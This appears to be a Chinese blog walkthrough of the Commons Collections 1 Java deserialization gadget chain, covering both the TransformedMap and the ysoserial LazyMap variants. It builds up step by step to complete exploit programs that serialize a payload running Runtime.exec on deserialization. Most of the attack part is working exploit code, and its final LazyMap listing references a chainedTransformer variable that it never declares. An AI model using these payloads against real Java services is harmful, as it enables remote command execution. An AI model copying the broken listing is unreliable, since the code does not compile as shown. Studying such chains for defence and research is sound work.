CC1链
环境搭建
jdk8u65下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html,但是要登入,而且载的慢
用https://blog.lupf.cn/articles/2022/02/19/1645283454543.html下载
新版IDEA这样创建

然后导入maven依赖
1
2
3
4
5
6
7
8
|
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
|
因为默认下载的jdk是没有sun包的,sun包里面是编译后的class文件,我们想要调试需要java文件
下载openjdk8u65:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载zip解压,然后回到前下jdk8u65安装的目录,下面有个src.zip
然后把前下解压的sun目录(src\share\classes)拷到解压后的src目录里面,最后在IDEA界面里面添加src路径(项目结构->SDK->源路径)

这样就能把class文件转成java文件了
先看入口点Transformer
接口的tranform
方法
1
2
3
|
public interface Transformer {
public Object transform(Object input);
}
|
IDEA有个快捷键ctrl+alt+B
可以查看实现接口的类

先来随便看几个
NOPTransformer
类,上面注释也说了,这个类什么也没做
1
2
3
|
public Object transform(Object input) {
return input;
}
|
传入一个对象,返回一个对象
ConstantTransformer
类,上面注释说始终返回同一个常量
1
2
3
4
5
6
7
8
|
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
|
ChainedTransformer
类,看名字就知道是链式调用
1
2
3
4
5
6
7
8
9
10
|
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
|
循环把数组中前一个元素运行的输出作为后一个元素的输入,应该是类似迭代
重点是InvokerTransformer
类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
|
这些参数都是可控的,transform
方法里面利用反射,能够实现任意方法调用,所以它作为我们的终点
先回顾之前用Runtime类反射弹计算器的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Method;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Method exec = Runtime.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
exec.invoke(runtime, "calc");
}
}
|
利用InvokerTransformer
来弹计算器,观察参数,方法名,参数类型,参数值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
exec.transform(r);
}
}
|
寻找链子
现在就是找谁调用了transform
方法,对着InvokerTransformer
里面的transform
方法右键查找用法
但是默认是项目文件,我们ctrl+alt+shift+F7
查看项目和库里面所有的调用

这里找到两个map类,这里就有两个CC1链了,一个TransformedMap
类引起的,一个就是yso里面说的LazyMap
类,两个本质是一样的
我们先跟TransformedMap
类
首先在这个checkSetValue
方法里面调用了transform
方法
1
2
3
|
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
|
查找valueTransformer
1
2
3
4
5
|
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
|
然后看哪里调用了TransformedMap
1
2
3
|
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
|
找到这个decorate
静态方法,已经跟到尽头了
利用这个写个简单的poc,这个方法首先需要一个map,由于我们最终调用的其实是valueTransformer,所以这个key直接为null就行了 ,然后valueTransformer直接填前下创建的InvokerTransformer,这样当他调用transform方法的时候就会触发命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map,null,exec);
}
}
|
但是checkSetValue方法是有参的,我们要找到怎么控制这个参数value,我们找找哪里调用了checkSetValue
发现只有一处
找到在AbstractInputCheckedMapDecorator
类下面的setValue
方法调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
|
这里的MapEntry
其实就是map的键值对的意思,在Map
类里面
所以我们只需要实现遍历键值对,就能调用setValue
方法
这里的MapEntry
基础了AbstractMapEntryDecorator
,同时重写了setValue
方法,所以我们只需要正常对map进行遍历,然后触发setValue
方法,最终就能实现调用checkSetValue
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
for(Map.Entry<Object,Object> entry : transformedmap.entrySet()){
entry.setValue(r);
}
}
}
|
实际上上面这些代码就是在是实现前下InvokerTransformer
类的那个transform
方法,这里还没完,因为我们最终想要找的入口是readObject
这种常见的方法,我们目前想要的就是有没有一个类的readObject
方法调用了setValue
方法,或者对map.entry进行遍历的操作(其实也是为了调用setValue
方法),而且参数可控
还是老方法右键查看用法
然后真的找到了,有点怀疑是java工程师留的后门(

在AnnotationInvocationHandler
类的readObject
方法里面确实存在setValue
方法
这个类不是public
类型,没有声明类型就是default
类型,也就是只能在本包调用,我们想在外部调用得用反射
然后我们查看这个类的构造器
1
2
3
4
5
6
7
8
9
|
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
|
memberValues可控,第一个Class类型是继承了Annotation,也就是我们要传入一个注解类的class(Target,Override这种),map类型我们可以用刚才的TransformedMap
接下来就是反射获取这个对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package com.cc1test;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
annotationconstructor.newInstance(Override.class,transformedmap);
}
}
|
接下来就是正常的序列化,反序列化触发,然后弹计算器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
package com.cc1test;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test01 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, exec);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Override.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|
但是走到这里还没有完全结束,这里其实存在一些问题,就像现在运行代码并不会弹出计算器
解决问题
Runtime 不能序列化
先解决Runtime
类不能序列化的问题,因为我们前面的Runtime
类是自己引入的,而它没有继承Serializable
接口,也就不能序列化
我们可以通过反射来获得原型类
1
|
Class c = Runtime.class;
|

Class类这里是继承了Serializable
接口,然后正常反射来调用是这样的
1
2
3
4
5
6
7
8
9
10
11
12
|
public class Test01 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method runtimeMethod = c.getMethod("getRuntime", null);
runtimeMethod.setAccessible(true);
Runtime r = (Runtime) runtimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.setAccessible(true);
execMethod.invoke(r,"calc");
}
}
|
接着,我们将这个反射的 Runtime
改造为使用 InvokerTransformer
调用的方式。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Method runtimeMethod = c.getMethod("getRuntime", null);
// runtimeMethod.setAccessible(true);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(runtimeMethod);
// Runtime r = (Runtime) runtimeMethod.invoke(null, null);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.setAccessible(true);
// execMethod.invoke(r,"calc");
}
|
这里可以看到,后一个的transform
方法里面的参数都是前一个的对象
这样一个一个嵌套很麻烦,想到前面看到的类:ChainedTransformer
类,刚好满足我们的需求
所以这里我们用ChainedTransformer来满足我们的需求,前面看到他的构造器是需要一个Transformer数组
1
2
3
4
5
6
7
8
9
|
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
|
这样算是解决了Runtime
类不能反序列化的问题
执行setValue的前置条件
跟进前下的readObject方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
|
这里其实有两个if判断,在第一个if下断点调试

可以看到我们的memberType直接就为null,直接结束
一路查看上去,发现这个memberType其实是来源于那个注解类的

而我们的Override

成员变量是空的,所以得换成有成员变量的Target或者Retention,如果我们只更改前面的注解类的话
1
|
Object o = annotationconstructor.newInstance(Target.class, transformedmap);
|

你会发现还是null,这是因为if判断的前一步,它在尝试获取注解类的key,但是实际上Target并没有key这个参数,所以还是返回null

Target注解里面只有这个value,所以我们把前面map的键名改为value,键值无所谓
1
|
map.put("value","hajimi");
|

这次就不为null了,然后步过到setValue,我们步入看看
步入到checkSetValue
了,但是呢这个参数我们不可控

原先我们想法是控制value值为Runtime.class
就能继续用ChainedTransformer
来调用命令执行,但是这里的value值被固定死为AnnotationTypeMismatchExceptionProxy
这里我们回想到前面的ConstantTransformer
类,无论传什么都会返回固定的对象,而且这个对象可控,直接就解决了,我们把它加到前下的ChainedTransformer
里面
1
2
3
4
5
6
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
|
然后就成功了
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","hajimi");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);
serialize(o);
unserialize("ser.bin");
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|
ysoserial上的LazyMap版CC1链分析
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
可以看到就LazyMap这里不一样,我们跟到这里看看
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
同样是transform方法,我们上面是用checkSetValue的transform来实现的,
跟着yso链往上找,AnnotationInvocationHandler
类里面的invoke
方法调用了get方法

同时,这个类有我们前面利用到的readObject
方法
想要触发invoke方法,想到JDK动态代理,我们要找到一个动态代理类,然后重写invoke方法就行了
看到invoke方法这里
1
2
3
|
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
|
是一个动态代理,我们把Annotationinvocationhandler用proxy包裹,再包裹进Map数组,就可以调用invoke方法
先跟据前面的exp改进
首先这里LazyMap也有decorate
方法
1
2
3
|
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
|
原先的代码是
1
|
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
|
TransformedMap
的decorate
方法要三个参数,我们这里LazyMap只需要两个
1
|
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
|
接下来生成代理类
1
2
3
|
InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
// Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
|
由于生成代理的proxymap对象不能被直接反序列化,我们需要把它包裹在一个新的能被反序列化的对象里面
可以新建一个Object
对象
1
|
Object o = annotationconstructor.newInstance(Target.class,proxymap);
|
也可以复用前面的handler
1
|
handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, proxymap);
|
最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package com.cc1test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object,Object> map = new HashMap<>();
map.put("value","hajimi");
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationconstructor.setAccessible(true);
//生成动态代理
InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Target.class, lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
// Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
Object o = annotationconstructor.newInstance(Target.class,proxymap);
serialize(o);
unserialize("ser.bin");
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
}
|